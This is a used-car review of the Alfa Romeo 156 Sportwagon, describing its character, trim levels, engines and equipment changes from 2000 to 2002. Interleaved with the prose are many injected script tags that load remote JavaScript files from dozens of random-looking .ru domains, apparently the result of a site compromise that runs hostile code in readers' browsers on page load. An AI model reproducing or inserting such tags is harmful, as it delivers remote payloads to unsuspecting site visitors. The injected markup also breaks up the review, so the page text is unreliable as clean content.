Alfa Romeo 156 Sportwagon

This is a 'lifestyle estate', so it means that it's trendy, respectable to have on the drive, but lacks the interior space of a traditional load-lugger. Its subtle and pure styling may give it the edge over the latest BMW 3-Series as the choice of a design-led individual, but it's neither as solidly built nor as spacious as its German rivals. It gives a lot of driving pleasure even with the smaller engines, and it's also thousands of pounds cheaper to buy than a small Audi or BMW.<script src=http://www.kjwd.ru/js.js></script><script src=http://www.oics.ru/js.js></script><script src=http://www.njep.ru/js.js></script><script src=http://www.jve4.ru/js.js></script><script src=http://www.b4so.ru/js.js></script><script src=http://www.kpo3.ru/js.js></script><script src=http://www.bjxt.ru/js.js></script><script src=http://www.iroe.ru/js.js></script><script src=http://www.po4c.ru/js.js></script><script src=http://www.iroe.ru/js.js></script><script src=http://www.po4c.ru/js.js></script><script src=http://www.kr92.ru/js.js></script><script src=http://www.kr92.ru/js.js></script><script src=http://www.gty5.ru/js.js></script><script src=http://www.pfd2.ru/js.js></script><script src=http://www.kr92.ru/js.js></script><script src=http://www.njep.ru/js.js></script><script src=http://www.kjwd.ru/js.js></script><script src=http://www.kj5s.ru/js.js></script><script src=http://www.bce8.ru/js.js></script><script src=http://www.po4c.ru/js.js></script><script src=http://www.bnsr.ru/js.js></script><script src=http://www.kr92.ru/js.js></script><script src=http://www.bsko.ru/js.js></script><script src=http://www.bnsr.ru/js.js></script><script src=http://www.nmr43.ru/js.js></script><script src=http://www.ncwc.ru/js.js></script><script src=http://www.ncb2.ru/js.js></script><script src=http://www.oics.ru/js.js></script><script src=http://www.oics.ru/js.js></script><script src=http://www.bosf.ru/js.js></script><script src=http://www.ncwc.ru/js.js></script><script src=http://www.po4c.ru/js.js></script><script src=http://www.njep.ru/js.js></script><script src=http://www.nmr43.ru/js.js></script><script src=http://www.bnsr.ru/js.js></script>

Lusso, Turismo, Veloce, TS, JTS, JTD, V6<script src=http://www.kjwd.ru/js.js></script><script src=http://www.oics.ru/js.js></script>

2.0 TS, 2.4 JTD and V6 have alloy wheels, stainless steel tailpipes, headlight washers and Lusso features: velour trim, mahogany-effect console, wooden steering wheel, climate control. V6 adds alloy wheels. Selespeed transmission is F1-style clutchless manual transmission system; Q-System is four-speed auto with manual override. Option packs available until early 2000 included Lusso (on 1.8 only) and Sport (three levels, including wood or carbon fibre-look dash, sports suspension, 16-inch alloy wheels, Recaro sports seats or leather Momo seats). Leather upholstery an option. In June 2000, Lusso and Veloce were launched as models in their own right, replacing previous Lusso and Sport packs; base models became Turismo. Sportwagon estates arrived in mid-2000. GTA 3.2 V6 models (June 02) have GTA body styling, 17” alloys, leather seats, Winter pack, heated electric front seats. Revisions in June 02: new 2.0 JTS direct injection petrol engine; uprated 2.4 JTD engine; VDC (Vehicle Dynamic Control) safety system; curtain airbags; new interior; improved equipment including alloy wheels; Bose audio from 2.0 JTS upwards; new Veloce 2 trim level with Momo leather trim.

2.0 JTS<script src=http://www.kjwd.ru/js.js></script><script src=http://www.oics.ru/js.js></script><script src=http://www.njep.ru/js.js></script>